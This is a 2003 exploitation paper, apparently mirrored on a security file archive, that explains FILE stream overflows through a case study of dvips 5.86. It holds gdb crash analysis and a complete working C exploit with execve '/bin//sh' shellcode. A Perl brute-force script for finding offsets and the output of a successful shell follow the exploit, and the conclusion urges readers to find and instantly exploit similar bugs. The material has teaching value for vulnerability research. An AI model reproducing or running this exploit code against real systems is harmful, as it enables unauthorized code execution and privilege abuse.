what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fstream-overflows.txt

fstream-overflows.txt
Posted Feb 3, 2003
Authored by Killah | Site hack.gr

This paper describes FILE stream overflow vulnerabilities and illustrates how they can be exploited. The author uses a FILE stream overflow in dvips as a case study.

tags | paper, overflow, vulnerability
systems | unix
SHA-256 | 1ba52e016c0392136d39eef96e00aa376e076ea025a6eab55d090bf725634635

fstream-overflows.txt

Change Mirror Download

File Stream Overflows Paper.


Author : killah <killah@hack.gr>
Date : 31-01-2003

Sections:
1. Introduction
2. Analysis of example vulnerability (dvips)
3. Theory behind the exploit.
4. The exploit.
5. Conclusions


1. Introduction
----------------

Although FILE Stream overflows are as ancient as buffer overflows, i never seen a paper
about them. I guess that is because, FILE Stream overflows are not so commonly met in the
real-life as typical buffer overflows.
This paper is about how to get to abuse these types of overflows, so as to get them execute
arbitary code. So, here i will use an example FILE Stream overflow that i found in dvips
& odvips non-security critical applications, so as to demonstrate you the way to come
around to those types of overflows.
Here won't be any sample vuln.c & exploit-vuln.c source and that's because FILE Stream
Overflows, can occur by many different combinations of incorrect/insecure programming.
I hope that the bug analysis, the basic theory and the sample exploit which is included here,
will help you enough so as to understand the whole concept.


2. Analysis of example FILE Stream overflow
vulnerability found in dvips application
--------------------------------------------

bash-2.05a$ dvips `perl -e 'print "A" x 2024'`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)

bash-2.05a$ cat ./gdb.sh
#!/bin/sh
gdb /usr/share/texmf/bin/dvips core

bash-2.05a$ ./gdb.sh
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...
Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270
270 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) bt
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)
at vfprintf.c:270
#1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n")
at fprintf.c:32
#2 0x0805337f in error ()
#3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31
#4 0x0804dd25 in error ()
#5 0x0804f522 in error ()
#6 0x4005617d in __libc_start_main (main=0x804e0f4 <error+988>, argc=2,
ubp_av=0xbffff104, init=0x8048e98, fini=0x80668a8 <error+101264>,
rtld_fini=0x4000a534 <_dl_fini>, stack_end=0xbffff0fc)
at ../sysdeps/generic/libc-start.c:129

Using the backtrace we can see that all frames existing in the core file, are known
functions, and EIP never got overwritten.
But, let's see what registers say in frame 0.

(gdb) info reg
eax 0x41414141 1094795585 <- EAX got overwritten with out input
ecx 0x41414141 1094795585 <- same thing here for ECX
edx 0x8069822 134649890 <- format=0x8069822
ebx 0x4015ae58 1075162712
esp 0xbfffe8c8 0xbfffe8c8
ebp 0xbfffeed0 0xbfffeed0
esi 0x8068c01 134646785
edi 0x8069822 134649890 <- format here too.
eip 0x400889d4 0x400889d4


It seems that the EBP/EIP registers are not overwritten with our input so we have to
find a way of tricking them thinking that they're pointing to a valid location.

So, what we have here is a FILE Stream overflow since s=0x41414141 got overwritten with
our input.
That means that if we had overwritten File stream with a valid FILE stream address,
we would had achived to get some more info, and validate the condition, but let's see.
(gdb) x/a stdout
0x40158200 <_IO_2_1_stdout_>: 0xfbad2084
The address of the stdout file stream is : 0x40158200, but it would be a pain cause of
the nulls, so let's look at the stderr address.
(gdb) x/a stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887
that's fine we're gonna use this one since no nulls existing in stderr's stream address.
Let's test it out.

bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40" x 2024'
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.

userdict /end-hook known{end-hook}if
SafetyEnclosure restore

what a surprise, no segmentation fault and different output, so it really worked,
without even having to align stderr's FILE Stream addresses.

So, how will we get advantage of this situation in order to execute arbitary code !?
In these cases the best solution is to follow the execution flaw of the application,
and see where you can abuse it.
Hmm, so let's crash the dvips again and have a look at the stderr's FILE Stream structure.

bash-2.05a$ dvips `perl -e 'print "A" x 2024'`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)
bash-2.05a$ ./gdb.sh
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...
Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270
270 vfprintf.c: No such file or directory.
in vfprintf.c

(gdb) x/40x stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 0x401583c7 0x401583c7 0x401583c7
0x40158390 <_IO_2_1_stderr_+16>: 0x401583c7 0x401583c7 0x401583c7 0x401583c7
0x401583a0 <_IO_2_1_stderr_+32>: 0x401583c8 0x00000000 0x00000000 0x00000000
0x401583b0 <_IO_2_1_stderr_+48>: 0x00000000 0x40158200 0x00000002 0x00000000
0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0a000000 0x40158298 0xffffffff
0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x00000000 0x401582c0 0xffffffff
0x401583e0 <_IO_2_1_stderr_+96>: 0x00000000 0x00000000 0x00000000 0x00000000
0x401583f0 <_IO_2_1_stderr_+112>: 0x00000000 0x00000000 0x00000000 0x00000000
0x40158400 <_IO_2_1_stderr_+128>: 0x00000000 0x00000000 0x00000000 0x00000000
0x40158410 <_IO_2_1_stderr_+144>: 0x00000000 0x40157f20 0x40158380 0x00000000

Nice, now we can see the structure and can get her lenght for later use.
(gdb) p /d (0x40158420 - 0x40158380)
$1 = 160

But let's see the really important part now, are there(inside the structure) any jump addresses ?
So let's have a look...
(gdb) x/40a stderr*
0x40158380 <_IO_2_1_stderr_>: 0xfbad2086 0x0 0x0 0x0
0x40158390 <_IO_2_1_stderr_+16>: 0x0 0x0 0x0 0x0
0x401583a0 <_IO_2_1_stderr_+32>: 0x0 0x0 0x0 0x0
0x401583b0 <_IO_2_1_stderr_+48>: 0x0 0x40158200 <_IO_2_1_stdout_> 0x2 0x0
0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0 0x40158298 <_IO_stdfile_2_lock> 0xffffffff
0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x0 0x401582c0 <_IO_wide_data_2> 0x0
0x401583e0 <_IO_2_1_stderr_+96>: 0x0 0x0 0x0 0x0
0x401583f0 <_IO_2_1_stderr_+112>: 0x0 0x0 0x0 0x0
0x40158400 <_IO_2_1_stderr_+128>: 0x0 0x0 0x0 0x0
0x40158410 <_IO_2_1_stderr_+144>: 0x0 0x40157f20 <_IO_file_jumps> 0x40158380 <_IO_2_1_stderr_>

BINGO!
Can you see the _IO_file_jumps ? this is a pointer to a function. (do you know what does this really mean ? :))


3. Theory
----------

So, here's the plan, we have to create a fake FILE Stream structure with 160 bytes in size filled with
the addresses (of the jumptable) that will point to the shellcode that we want to execute.

So, our user input buffer should look like this :
this is the theory behind most FILE Stream overflows met in real life conditions.


......<bottom of the user input buffer>......

[1] { Fake FILE Stream Structure }
(Fake file stream structure is to be filled with the addresses,
of the fake jumptable which point to the shellcode.)
specs:
Size of the Fake FILE Stream Structure : 160Bytes.
Been filled with the Addresses pointing to location [2].

[2] { Fake jumptable }
(Is to be filled with the addresses, of where our shellcode is.
*since EIP is getting tricked in this step we make it
point to the shellcode location.)

[3] { Shellcode }
(Simple x86 linux execve assembly code of "/bin//sh" )

[0] { Addresses of the Fake FILE Stream Structure }
(In order to overwrite the File Stream, and make it point
to our fake FILE Stream Structure.)

......<end of the user input buffer>.........


As you can see this theory doesn't differ much from common buffer overflow exploits.
It's just uses 2 steps more for tricking the application thinking it uses a valid FILE Stream,
and finaly get EIP register tricked in step [2] and make it point to the shellcode.

Now, based to this theory let's try to construct the exploit so as to demonstrate that
it can be really done.


4. The exploit
---------------

Here is the sample FILE Stream overflow exploit, that affects dvips & odvips
aplications.

NOTE: this exploit could be much more robust and independent, but the
purpose here is just to show the simple and straight forward way of doing it.

NOTE: this process is taking place under Slackware Linux 8.1, so if you're making
the test under different distribution or even OS, there you should tweak some things
by yourself, but basicly that's all.

just look on the code, it should be very easy to understand.

-----------------------------dvips-ex.c------------------------------
/*
* FILE Stream overflow exploit for
* This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
* --------------------------------------------------------------------------
*
* "As always exploitation should be an art..."
* version 0.3 much more automated.
*
* (c) 2k3 killah @ hack . gr
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define VERSION "0.3"
#define SIZE 3048

char shellcode[]= /* linux x86 execve of "/bin//sh" */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


int
main(int argc,char *argv[])
{
char buffer[4000];
int align,offset,pad,i;
long ffss_addr=0xbfffeecc, jmpaddr, shaddr;
if(argc!=4)
{
fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n"
"Usage : %s <align> <offset> <pad>\n"
"\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]);
exit(-1);
}

align=atoi(argv[1]);
offset=atoi(argv[2]);
pad=atoi(argv[3]);

ffss_addr += offset; // fake FILE Stream Structure Address
jmpaddr = (ffss_addr+160); // 40 times
shaddr = (jmpaddr+32); // 8 times

fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n"
" Jump-Table Address\t\t : [0x%x]\n"
" Shellcode Address\t\t : [0x%x]\n"
" align = [%d] | offset = [%d] | pading = [%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad);

/* align the buffer */
for(i=0; i<align; i++)
buffer[i]=0x42;
/* pad the buffer */
for(i=align; i<pad+align; i++)
buffer[i]=0x41;
/* create the ffss section (Fake File Stream Structure) */
for(i=pad+align; i<align+160; i+=4)
*(long *)&buffer[i]=jmpaddr;
/* making the fake jump table */
for(i=align+160; i<align+160+32; i+=4)
*(long *)&buffer[i]=shaddr;
/* copy the shellcode into the buffer */
memcpy(buffer+align+160+32,shellcode,strlen(shellcode));

/* fill the rest of the buffer with the fake FILE Stream Structure *
* addresses so as to be overwritten and start the whole proccess */

for(i=strlen(shellcode)+160+32+align; i<SIZE+align; i+=4)
*(long *)&buffer[i]=ffss_addr;

execl("/usr/share/texmf/bin/dvips", "dvips", buffer, NULL);
exit(0);
}

------------------------------dvips-ex.c-------------------------------EOF

For those that are bored using gdb each time for getting the
address of the fake FILE Stream structure, or the offset,
herein is a lame brute.pl script.

-------------=----------brute.pl--------------------------
#!/usr/bin/perl
$MIN=-1000;
$MAX=1000;
while($MIN<$MAX)
{
printf(" offset : $MIN \n");
system("./dviex 0 $MIN 3");
$MIN++;
}
------------------------brute.pl---------------------------EOF

Okay let's do the pen-test now.

Whoa we found the fake FILE Stream Structure Address @ offset : -161

fake FILE Stream Structure Address : [0xbfffee2b]
Jump-Table Address : [0xbfffeecb]
Shellcode Address : [0xbfffeeeb]
align = [0] | offset = [-161] | pading = [3]
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
dvips: ! DVI file can't be opened.
sh-2.05a$

shell speaks for me.
finally as it was excepted we did it :).


5. Conclusions & Notes
-----------------------

This paper written for those that haven't ever seen, heard or didn't
know how to exploit a FILE Stream overflow, although every experienced
bug-hunter could do it. So, now feel free to spot bugs of that type and
instantly exploit them.

In any case i don't claim that this paper is a full resource concerning
FILE Stream overflows, and everything related to them.

So if you think that there are missing some important pieces or you want
to do some corrections or submit information based on your own research on
FILE Stream overflows, feel free to send me feedback.

Last but not least, i should thank zen-parse which introduced me the whole
idea, without him this paper haven't been. cheers to him.


Copyright (C) 2002-2003 <killah@hack.gr>
All rights reserved.
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close